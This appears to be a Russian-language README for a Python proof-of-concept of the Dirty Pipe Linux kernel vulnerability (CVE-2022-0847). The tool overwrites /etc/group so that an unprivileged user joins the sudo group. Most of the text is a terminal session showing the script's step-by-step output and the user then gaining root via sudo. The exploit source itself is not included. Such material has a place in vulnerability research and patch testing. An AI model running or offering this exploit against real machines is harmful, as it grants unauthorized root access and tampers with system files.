
POC Exploit для добавления пользователя в Sudo для CVE-2022-0847 Dirty Pipe Vulnerability
Этот репозиторий основан на уязвимости, описании и эксплойте, созданных Максом Келлерманном, все материалы находятся здесь.
Как и все, я не упустил возможности поиграть с самой тривиальной для воспроизведения привилегированной эскалацией — в блоге отлично всё объясняется.
Я переписал эксплойт на Python, чтобы лучше разобраться, но это точная копия C-эксплойта с жёстко закодированным повышением привилегий через sudo.
Python 3.10 (из-за использования вызова os.splice)
Повреждает файл /etc/group, записывая в строку, непосредственно следующую за записью sudo. Но когда вы получите права root, вы сможете исправить это с помощью копии.
Помещает копию /etc/group в /tmp/group_backup
test@kali:/home/user/working$ whoami
test
test@kali:/home/user/working$ sudo whoami
test is not in the sudoers file. This incident will be reported.
test@kali:/home/user/working$ python3.10 poc.py
[*] Dirty PIPE POC [*]
[*] Exploit will add test to sudoers
[*] Finding offset of sudo entry in /etc/group
[*] Found sudo group offset
[*] Confirmed it is not last.
[*] Opening /etc/group
[*] Opening PIPE
[*] Contaminating flags of pipe buffer
[*] 65536 bytes written to pipe
[*] 65536 bytes read from pipe
[*] Splicing byte from /etc/group to pipe
[*] Spliced 1 bytes
[*] Altering group to add test
[*] 6 bytes written to /etc/group
test@kali:/home/user/working$ su test
Password:
test@kali:/home/user/working$ sudo whoami
root
test@kali:/home/user/working$